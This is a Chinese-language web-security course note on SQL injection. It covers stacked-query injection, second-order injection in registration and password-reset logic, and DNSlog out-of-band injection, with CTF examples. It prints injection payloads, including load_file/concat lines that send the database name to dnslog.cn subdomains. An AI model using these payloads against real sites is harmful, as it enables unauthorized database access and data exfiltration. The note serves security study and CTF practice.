小迪安全笔记-30
小迪安全笔记-30
Kn1ght第30天:WEB攻防-通用漏洞_SQL注入_CTF_二次_堆叠_DNS带外
知识点:
- 数据库堆叠注入
- 数据库二次注入
- 数据库DNSlog带外注入(高权限)
数据库堆叠注入
有的数据库支持多条sql语句一起执行
支持堆叠的数据库有:mysql、MSSQL、Postgresql等(ORACLE不能使用堆叠注入)
比如:select * from news where id=1;create table xiaodi like news; //一次执行多条sql语句
注入原理:将后面的sql语句修改为注入语句,从而实现对数据库的注入。
参考:https://www.cnblogs.com/backlion/p/9721687.html
堆叠注入是有条件的,不仅要看数据库类型,还要看能不能接受并成功执行
例题
[强网杯 2019]随便注
过程为:
1 | 1';show databases; |
数据库二次注入
找回密码逻辑:得到你的用户名(你要找回谁的密码)
没有登录用户,我点找回密码,是不是先要输入你要找回的目标(select)
如果登录了用户,一般网站就直接进入验证过程(知道你是谁了)
最后接收获取你的用户名,修改密码(查询方式:update)
sql语句:update user set password=’xiaodi’ where username=’xiaosedi’;
如果我在注册用户名的时候,写的是一个SQL注入的语句。如果修改你的密码,那么相当于username后面加上的是SQL注入代码,即:update user set password=’xiaodi’ where username=SQL注入代码;
当执行updateSQL语句的时候,就执行了这个漏洞
例题:
[网鼎杯2018]Unfinish
进入登录页面:xx.buuoj.cn:81/login.php
进入到注册页面:xx.buuoj.cn:81/register.php
注册了一个正常的账号密码,然后用这个账号登录,在登录成功的页面可以看到自己刚刚注册的账号名字(username),考虑二次注入的可能
注册:
邮箱:test123@163.com 用户名:test123 密码:xiaodi
登录:
邮箱:test123@163.com 密码:123456
登录时只需填写邮箱和密码,但是登录后能显示出用户名
这是一个典型的二次注入:
注册用户:添加操作
邮箱,用户名,密码
insert into user (email,username,password) value(‘xioadi@163.com‘,’xiaodi’,’xiaodi’)
登录:
邮箱,密码
登录后显示个人的用户名:查询操作
select username from user where email=‘xiaodi@163.com‘
用攻击语句替换username的值,就会形成:
select payload(SQL语句) from user where email=‘xiaodi@163.com‘
脚本:
1 | import requests |
数据库DNSlog带外注入
解决不回显,反向连接,SQL注入,命令执行,SSRF等
在平台上申请一个账号,使用者要支持访问这个地址才能使用,如果不支持那就没办法使用。在注入中只有load_file支持这钟类型的注入。
DSNlog SQL注入payload:
select load_file(concat(‘\\‘,(select database()),’.7logee.dnslog.cn\aa’));
and (select load_file(concat(‘//‘,(select database()),’.69knl9.dnslog.cn/abc’)))